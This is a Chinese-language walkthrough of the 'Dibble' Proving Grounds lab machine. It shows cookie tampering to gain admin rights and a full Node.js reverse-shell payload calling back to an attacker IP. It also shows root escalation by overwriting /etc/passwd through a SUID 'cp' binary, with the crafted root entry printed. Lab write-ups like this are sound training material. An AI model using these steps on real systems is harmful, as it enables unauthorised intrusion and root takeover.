Proving Grounds Practice : Dibble Walkthrough
Proving Grounds Practice : Dibble Walkthrough
Foothole (立足點 ) :
- 3000 Port 網站可以建立使用者,後續建立 Event 時告知僅有 admin 可以建立
- 透過 Burp Suite 修改 userLevel=admin 後成功建立 Event
- Event Message 欄位採用 NodeJS 方式編寫,透過 PayloadsAllTheThings 參考塞入 Reverse Shell 後成功拿到 Shell
PE ( 提權 ) :
- SUID 發現 cp 指令
- 透過 cp 指令修改 /etc/passwd 塞入一個 root 使用者與密碼
- 後續 su <使用者> 切換成功拿到 root
注意事項 :
- NodeJS Reverse Shell 應用
- SUID cp 應用
Rustscan,└─$ rustscan -a 192.168.186.110 --scripts none --ulimit 5000 | tee rustscan
snmp filtered,└─$ sudo nmap -sU -p 161 192.168.186.110 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 21,22,80,3000,27017 192.168.186.110 | tee nmap
80/tcp open http Apache httpd 2.4.46 ((Fedora))
3000/tcp open http Node.js (Express middleware)
FTP 匿名登入但無法列舉目錄與檔案
80 /
80 /robots.txt
80 /web.config
80 /admin
80 /core
80 /user/login
80 註冊一個新帳號無法寄信成功
3000 /
3000 /auth/login
3000 註冊一個新帳號 aries:Oscp#1234 成功
可以登入
寫一個 Event Log 出現沒有權限,僅有 admin 可以寫
用 Burp Suite 看一下 cookie 有個 userLevel=ZGVmYXVsdA%3D%3D
Base64 解出來是 default
將 userLevel 改成 admin 試試看
看來應該是過了,最下面那一筆就是剛剛新增的 Event Log
已知 Event Message 欄位走 Node.js,參考 : https://github.com/cyberheartmi9/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
21 Port 有過,4444 Port 沒有過,有測試 4445 Port 也沒有過
(function(){
var net = require(“net”),
cp = require(“child_process”),
sh = cp.spawn(“/bin/ba”, []);
var client = new net.Socket();
client.connect(21, “192.168.45.248”, function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
沒有成功拿到 Reverse Shell
登出再登入一次一樣改 userLevel=admin,送出一樣的內容成功了
ls -la /home 只有一個使用者 benjamin
cat /etc/passwd
cat /etc/crontab
pspy64 沒有背景定期執行的程式
sudo -l 不知道使用者 benjamin 的密碼
find / -writable -type d 2>/dev/null | grep -v "/home/benjamin"
SUID,find / -perm -u=s -type f 2>/dev/null
發現 cp SUID,cp | GTFOBins
linpeas.sh 跑完也有看到
看 SUID 的應用不是執行該指令就可以直接 root,說明有寫是用一個檔案覆蓋另外一個檔案
最簡單的都是在 /etc/passwd 新增一個使用者
讓我先建立一個使用者 aries 然後密碼用 Ocsp#1234
首先建立 Oscp#1234 的密碼
└─$ openssl passwd Oscp#1234 --> $1$nl73rRB9$0TbF7guRfwlkDOA87sIy00
因為使用 cp,所以我們要先保留原有 /etc/passwd 的內容,在最後面加上如下即可
aries:\$1\$nl73rRB9\$0TbF7guRfwlkDOA87sIy00:0:0:/root:/bin/bash
我們建立一個 badfile 如下
上傳到靶機
覆蓋 /etc/passwd 檔案,[benjamin@dibble ~]$ /usr/bin/cp /home/benjamin/badfile /etc/passwd
再 cat /etc/passwd 看一下確認使用者 aries 有存在了
切換使用者 aries ,whoami & id 看一下確認是管理者
留言
張貼留言